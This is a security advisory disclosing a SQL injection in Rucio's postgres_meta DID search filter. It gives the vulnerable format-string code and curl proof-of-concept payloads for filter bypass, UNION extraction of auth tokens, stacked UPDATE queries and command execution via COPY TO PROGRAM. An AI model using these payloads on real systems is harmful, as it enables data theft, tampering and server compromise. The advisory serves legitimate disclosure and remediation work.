### Summary
A SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids/<scope>/dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`.
---
### Details
The vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_postgres_query()` method (lines 408-484). This method builds raw SQL strings via Python `.format()` across 6 distinct injection points:
**filter_engine.py:477** (string equality — default branch):
```python
expression = "{}->>'{}' {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
**filter_engine.py:442** (wildcard/LIKE branch):
```python
expression = "{}->>'{}' LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%'))
```
**filter_engine.py:456** (boolean branch — value unquoted):
```python
expression = "({}->>'{}' )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
**filter_engine.py:462** (numeric branch — value unquoted):
```python
expression = "({}->>'{}' )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
**filter_engine.py:472** (datetime branch):
```python
expression = "({}->>'{}' )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
**filter_engine.py:479** (non-JSONB column fallback):
```python
expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value)
```
Both `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The resulting `expression` string is concatenated into a larger query string (`postgres_query_str`) that is then passed to `psycopg3`'s `sql.SQL()`:
```python
# postgres_meta.py:314-316
statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format(
sql.Identifier(self.table),
sql.SQL(postgres_query_str), # <-- UNSANITIZED user-derived string
sql.SQL("LIMIT {}").format(sql.Literal(limit)) if limit else sql.SQL("")
)
```
`sql.SQL()` wraps the string as a trusted SQL syntax fragment — it does **not** escape or parameterize its contents. The statement is then executed via `cur.execute(statement)` at `postgres_meta.py:321`.
#### Why no existing defense blocks this
The data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:
1. **HTTP input** (`dids.py:265-274`): Filter keys and values are accepted from query parameters via `ast.literal_eval()` or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (`type`, `limit`, `long`, `recursive`).
2. **Plugin routing** (`did_meta_plugins/__init__.py:227-248`): Each filter key is checked via `manages_key()`. `postgres_meta.manages_key()` **unconditionally returns `True`** (line 345) — it accepts ANY filter key without validation.
3. **FilterEngine initialization**: The `postgres_meta` plugin instantiates `FilterEngine` with `strict_coerce=False`. Unknown keys pass through `_coerce_filter_word_to_model_attribute()` as raw strings.
4. **Value typecasting** (`filter_engine.py:275-297`): `_try_typecast_string()` attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.
5. **Sanity checks** (`filter_engine.py:149-190`): `_sanity_check_translated_filters()` does **not** validate arbitrary key names or values for SQL-unsafe characters.
6. **SQL construction** (`filter_engine.py:442-479`): The unsanitized key and value strings are interpolated directly into raw SQL strings via `.format()`.
7. **SQL execution** (`postgres_meta.py:316,321`): The raw string is wrapped in `sql.SQL()` (treated as trusted SQL) and executed via `cur.execute()`.
---
### PoC
**Prerequisites:**
- A Rucio instance using PostgreSQL as the database backend
- The `postgres_meta` metadata plugin **explicitly configured** (this is NOT the default — the default is `json_meta`)
- Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)
#### 1. Obtain an authentication token
```bash
TOKEN=$(curl -s -k \
-H 'X-Rucio-Account: testuser' \
-H 'X-Rucio-Username: testuser' \
-H 'X-Rucio-Password: testpass' \
'https://rucio.example.org/auth/userpass' \
-D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')
```
#### 2. Value injection — boolean-based filter bypass
```bash
# postgres_meta uses create_postgres_query() -> raw string formatting
# filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value)
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"
# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
# data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows
```
#### 3. Key injection via query parameter name
```bash
# The key is single-quoted but unescaped — injection via closing quote.
# filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value)
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"
# URL-decoded: key = x' OR 1=1-- , value = anything
#
# Generated SQL fragment:
# data->>'x' OR 1=1-- ' = 'anything'
# ^^^^^^^^ injected, -- comments out the rest
```
#### 4. UNION-based data extraction
```bash
# Extract auth tokens from the tokens table.
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"
# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set
```
#### 5. Stacked queries — data modification
```bash
# PostgreSQL supports multiple statements separated by ;
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"
# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --
```
#### 6. Remote code execution (if database user has superuser privileges)
```bash
# PostgreSQL COPY ... FROM PROGRAM executes OS commands
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"
# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
# Requires: database user with pg_execute_server_program or superuser role
```
#### 7. Alternative entry via `filters` query parameter
```bash
# The filters parameter accepts Python literal syntax via ast.literal_eval().
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'
# URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]
```
---
### Impact
**Vulnerability type:** SQL Injection (CWE-89)
**CVSS v3.1:** 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
**Who is impacted:**
- Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin.
**What an attacker can do:**
- **Data modification:** PostgreSQL stacked queries enable arbitrary `INSERT`/`UPDATE`/`DELETE` operations.
- **Remote code execution:** Via PostgreSQL's `COPY ... FROM PROGRAM` if the database user has superuser or `pg_execute_server_program` privileges.
- **File system access:** Via `COPY ... TO/FROM '/path'` if filesystem permissions allow.
**Further elevation when the same postgres database and access is used for metadata and for Rucio itself**
- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies) could be extracted.
- **Password hash extraction:** Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.
**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/<scope>/dids/search` endpoint is available to all authenticated users.